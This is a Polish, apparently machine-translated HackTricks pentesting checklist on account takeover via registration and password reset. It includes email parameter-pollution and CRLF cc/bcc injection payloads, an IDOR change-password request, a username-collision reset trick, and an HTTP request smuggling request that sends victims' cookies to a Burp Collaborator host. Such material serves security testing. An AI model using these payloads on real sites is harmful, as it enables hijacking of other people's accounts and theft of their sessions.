8.7 KiB
Wulnerowalności rejestracji i przejęcia konta
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na GitHubie.
Przejęcie konta poprzez rejestrację
Duplikacja rejestracji
- Spróbuj wygenerować, używając istniejącej nazwy użytkownika
- Sprawdź zmianę adresu e-mail:
- wielkie litery
- +1@
- dodaj kropkę w adresie e-mail
- specjalne znaki w nazwie e-maila (%00, %09, %20)
- Dodaj czarne znaki po adresie e-mail:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Weryfikacja nazwy użytkownika
Sprawdź, czy można ustalić, czy nazwa użytkownika została już zarejestrowana w aplikacji.
Polityka hasła
Tworząc użytkownika, sprawdź politykę hasła (sprawdź, czy można używać słabych haseł).
W takim przypadku można spróbować przeprowadzić atak brutalnej siły na poświadczenia.
Wstrzyknięcie SQL
Sprawdź tę stronę, aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą wstrzyknięć SQL w formularzach rejestracyjnych.
Przejęcie konta OAuth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Wulnerowalności SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Zmiana adresu e-mail
Po zarejestrowaniu spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie zweryfikowana lub czy można go zmienić na dowolne adresy e-mail.
Dodatkowe sprawdzenia
- Sprawdź, czy można używać adresów e-mail jednorazowych
- Długie hasło (>200) prowadzi do DoS
- Sprawdź limity częstotliwości tworzenia kont
- Użyj username@burp_collab.net i przeanalizuj wywołanie zwrotne
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR na parametrach API
- Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
- Uruchom Burp Suite i przechwyć żądanie.
- Prześlij je do zakładki Repeater i edytuj parametry: ID użytkownika/adres e-mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Słabe tokeny resetowania hasła
Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam. W niektórych przypadkach algorytm generujący jest słaby i można go zgadnąć. Następujące zmienne mogą być używane przez algorytm.
- Timestamp
- ID użytkownika
- Adres e-mail użytkownika
- Imię i nazwisko
- Data urodzenia
- Kryptografia
- Tylko liczby
- Krótka sekwencja tokenów (znaki między [A-Z,a-z,0-9])
- Ponowne użycie tokenu
- Data wygaśnięcia tokenu
Wyciek tokena resetowania hasła
- Wywołaj żądanie resetowania hasła za pomocą interfejsu API/UI dla określonego adresu e-mail, np. test@mail.com.
- Sprawdź odpowiedź serwera i sprawdź, czy istnieje
resetToken
. - Następnie użyj tokenu w adresie URL, np.
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Resetowanie hasła poprzez kolizję nazwy użytkownika
- Zarejestruj się w systemie z nazwą użytkownika identyczną jak nazwa użytkownika ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika, np.
"admin "
. - Poproś o resetowanie hasła za pomocą złośliwej nazwy użytkownika.
- Użyj otrzymanego tokenu w wiadomości e-mail i zresetuj hasło ofiary.
- Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak.
Zobacz: CVE-2020-7245
Przejęcie konta za pomocą ataku Cross Site Scripting
- Znajdź XSS w aplikacji lub poddomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej:
*.domain.com
. - Wyciekaj bieżące ciasteczka sesji.
- Uwierzytelnij się jako użytkownik, używając ciasteczka.
Przejęcie konta za pomocą ataku HTTP Request Smuggling
1. Użyj narzędzia smuggler, aby wykryć rodzaj ataku HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1
następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X:
z celem przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Końcowe żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Raporty Hackerone dotyczące wykorzystania tej luki:
Przejęcie konta za pomocą CSRF
- Utwórz payload dla CSRF, np. "Formularz HTML z automatycznym przesłaniem do zmiany hasła"
- Wyślij payload
Przejęcie konta za pomocą JWT
Token JSON Web może być używany do uwierzytelniania użytkownika.
- Edytuj JWT, zmieniając identyfikator użytkownika / adres e-mail
- Sprawdź podatną sygnaturę JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.